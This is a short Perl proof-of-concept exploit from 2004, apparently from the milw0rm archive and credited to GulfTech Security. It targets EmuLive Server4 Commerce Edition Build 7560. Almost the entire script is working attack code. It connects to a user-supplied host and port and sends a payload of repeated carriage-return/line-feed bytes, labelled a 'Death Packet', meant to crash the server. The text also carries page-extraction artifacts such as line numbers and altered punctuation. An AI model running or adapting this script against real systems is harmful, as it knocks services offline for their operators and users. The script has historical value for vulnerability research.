1 #!/usr/bin/perl
2 ##############################################
3 # EmuLive Server4 Commerce Edition Build 7560
4 ##############################################
5 # Remote crash proof of conecpt code. When the
6 # machine running Server4 recieves a malformed
7 # request on TCP port 66 it crashes very hard!
8 ##############################################
9 # GulfTech Security http://www.gulftech.org
10 ##############################################
11
12 use IO::Socket;
13
14 unless ($ARGV[0])
15 {
16
die "usage: s4nomore.pl host port"
17 }
18
19
printf("==========================================================\n",);
20
printf(" EmuLive Server4 Commerce Edition Build 7560 Remote Crash \n",);
21
printf("==========================================================\n",);
22
23
24
my $host = $ARGV[0];
25
my $port = $ARGV[1];
26
27
28
my $dead = "\x0D\x0A\x0D\x0A\x0D\x0A\x0D\x0A". #\r\n\r\n\r\n\r\n
29
"\x0D\x0A\x0D\x0A\x0D\x0A\x0D\x0A". #\r\n\r\n\r\n\r\n
30
"\x0D\x0A\x0D\x0A\x0D\x0A\x0D\x0A". #\r\n\r\n\r\n\r\n
31
"\x0D\x0A\x0D\x0A\x0D\x0A\x0D\x0A"; #\r\n\r\n\r\n\r\n
32
33
34
my $i = IO::Socket::INET−>new( Proto => "tcp",
35
PeerAddr => $host,
36
PeerPort => $port,
37
Timeout => ’100’,
38
Type => SOCK_STREAM,
39
) || die("Connect Error");
40
41
printf("[*] Sending Death Packet To %s\n", $host);
42
print $i $dead;
43
$i−>autoflush(1);
44
printf("[*] Host %s Should Now Be Dead\n", $host);
45
printf("[*] Closing Connections And Exiting \n");
46
close $i;
47
exit;
48
49 # milw0rm.com [2004−09−21]
Page 1/1
Emulive Server4 7560 Remote Denial of Service Exploit
GulfTech Security
09/21/2004